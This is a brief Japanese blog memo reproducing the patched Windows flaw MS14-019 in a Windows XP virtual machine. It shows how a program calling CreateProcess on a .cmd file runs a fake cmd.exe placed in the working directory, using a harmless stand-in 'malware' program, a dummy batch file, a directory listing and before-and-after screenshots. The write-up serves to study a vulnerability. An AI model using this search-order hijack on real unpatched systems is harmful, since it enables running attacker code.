MS14-019を今更テスト

https://technet.microsoft.com/library/security/ms14-019
いまさらですが、やったのでメモ。環境はVirtualBox上のWindows XPです。

CreateProcess()は.cmdや.batファイルを起動するときにcmd.exe /cから自動的に起動してくれる訳ですが、MS14-019はフォルダの探索順に問題があって作業ディレクトリにcmd.exeがあったらそっちが呼び出されちゃう問題らしい。こんなのが2014年まで残っていたという。

マルウェア(笑)を用意。"cmd.exe"という実行ファイルを出力するようにコンパイル

#include <stdio.h>

int main()
{
    puts("This is Malware.");
}

sc.cmdという名前でダミーのバッチファイルを保存。

@echo off

echo This is dummy.
pause

そのバッチファイル(sc.cmd)をCreateProcess()で呼び出しているこんなプログラムがあったとする(スクショではcp.exe)。

#include <windows.h>

int main()
{
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    char *cmdLine = "sc.cmd";

    CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

検証用のディレクトリがこんな構成

Q:\MS14-019>dir
 ドライブ Q のボリューム ラベルがありません。
 ボリューム シリアル番号は AA08-E090 です

 Q:\MS14-019 のディレクトリ

2014/06/30  11:26    <DIR>          .
2014/06/30  11:26    <DIR>          ..
2014/06/30  11:32            68,096 cp.exe
2014/06/29  15:29                41 sc.cmd
2014/06/30  11:32            69,632 cmd.exe
    (以下略)


パッチ

f:id:jptomoya:20140630115403p:plain
パッチ後
f:id:jptomoya:20140630115410p:plain